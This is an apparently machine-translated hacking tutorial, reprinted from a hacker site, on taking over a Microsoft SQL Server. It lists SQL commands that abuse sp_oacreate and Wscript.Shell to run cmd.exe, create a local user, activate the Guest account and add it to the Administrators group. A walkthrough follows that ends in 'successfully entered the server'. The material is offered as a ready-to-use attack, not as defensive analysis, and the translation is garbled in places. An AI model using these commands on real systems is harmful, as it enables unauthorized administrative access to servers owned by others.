SQL Claim Demo

Intermediary transaction http://www.aliyun.com/zixun/aggregation/6858.html ">seo diagnose Taobao guest cloud host technology Hall

SQL Claim Demo

First of all, I would like to give you a common command of SQL claim:
Driver={sql server};server= server ip;uid= user name; pwd= password; database= database name--connects the database.
Eclare @shell int exec sp_oacreate ' Wscript.Shell ', @shell output exec sp_OAMethod @shell, ' run ', NULL, ' c:\windows\ system32\cmd.exe/c NET user New password add '--add new user.
DECLARE @shell int exec sp_oacreate ' Wscript.Shell ', @shell output exec sp_OAMethod @shell, ' run ', NULL, ' c:\windows\ SYSTEM32\CMD.EXE/C net localgroup Administrators new user add '--add user to Admin group

If the above add admin fails, we can try to activate guest.
Eclare @shell int exec sp_oacreate ' Wscript.Shell ', @shell output exec sp_OAMethod @shell, ' run ', NULL, ' c:\windows\ system32\cmd.exe/c net user Guest/active:yes '--activating Guest user
。
DECLARE @shell int exec sp_oacreate ' Wscript.Shell ', @shell output exec sp_OAMethod @shell, ' run ', NULL, ' c:\windows\ system32\cmd.exe/c net localgroup Administrators guest/add '--add Guest to admin Group

Note: If C:\windows\system32\cmd.exe is deleted, do not have permission to access or access, we can upload a cmd up, and then the path to modify our upload of the cmd path on it.

Here's a demonstration of the entire SQL claim process:

The default Guest user password is a null disabled state!

Activate Guest user

The guest user was activated but not authorized, so we continue to add the guest user to the admin group!

Add Guest to Admin group

Successfully added the guest to the management group, successfully entered the server!

What can you do when you go in? I don't have to be long-winded to believe this.

Original source: http://www.flhacker.cn
Copyright-reprint must be linked to the form of the original source